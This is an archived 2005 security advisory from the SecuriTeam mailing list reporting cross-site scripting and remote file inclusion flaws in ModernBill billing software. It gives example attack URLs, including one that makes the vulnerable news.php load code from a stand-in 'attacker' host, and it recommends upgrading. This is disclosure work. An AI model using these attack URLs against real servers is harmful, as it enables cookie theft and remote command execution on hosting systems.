

[UNIX] Multiple Vulnerabilities in ModernBill

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-04/0064.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 04/12/05

To: list@securiteam.com

Date: 12 Apr 2005 15:50:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in ModernBill

SUMMARY

<<http://www.modernbill.com/>> ModernBill is "a widely used billing and management software used by webhosts to manage billing and financial data". ModernBill is prone to remote file inclusion and cross site scripting. These vulnerabilities could allow for an attacker to execute client side code in the context of the victims web browser, steal sensitive user data, and run system commands remotely on the affected web server. A fixed version is available and users are advised to upgrade immediately.

DETAILS

Vulnerable Systems:

* ModernBill version 4.3.0 and prior

Immune Systems:

* ModernBill version 4.3.1 or newer

Cross Site Scripting:

The ModernBill order forms are prone to multiple cross site scripting issues. Bellow are a few examples of this particular issue:

[http://example.com/order/orderwiz.php?v=1&aid=&c_code=\[XSS\]](http://example.com/order/orderwiz.php?v=1&aid=&c_code=[XSS])

Securiteam: [UNIX] Multiple Vulnerabilities in ModernBill

[http://example.com/order/orderwiz.php?v=1&aid=\[XSS\]](http://example.com/order/orderwiz.php?v=1&aid=[XSS])

This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser.

Remote File Include Vulnerability:

ModernBill ships with a directory titled "samples" that resides in the root ModernBill directory. This directory contains several files to help users learn how to customize ModernBill to specifically fit their needs. One of the scripts included in this directory is vulnerable to a very dangerous remote file include vulnerability. Lets have a look at the file "news.php"

```
// ~~~~~  
// DO NOT EDIT START  
// ~~~~~  
include_once($DIR."include/functions.inc.php");
```

If globals are set to on, and no include restrictions are in effect then we can include any PHP code of our choice remotely. Of course the hosting the malicious file to be included could not have php enabled, or the file would be parsed before it reached the victim server:

<http://example.com/samples/news.php?DIR=http://attacker/>

This issue is very dangerous when present, but regardless of your server configuration you are still encouraged to upgrade immediately.

Solution:

A fix for the mentioned issues has been available for quite some time now and users should upgrade their ModernBill installations.

ADDITIONAL INFORMATION

The information has been provided by <mailto:security@gulftech.org>
GulfTech Security Research.

The original article can be found at:

<http://www.gulftech.org/?node=research&article_id=00067-04102005>
http://www.gulftech.org/?node=research&article_id=00067-04102005

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [UNIX] Multiple Vulnerabilities in ModernBill

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.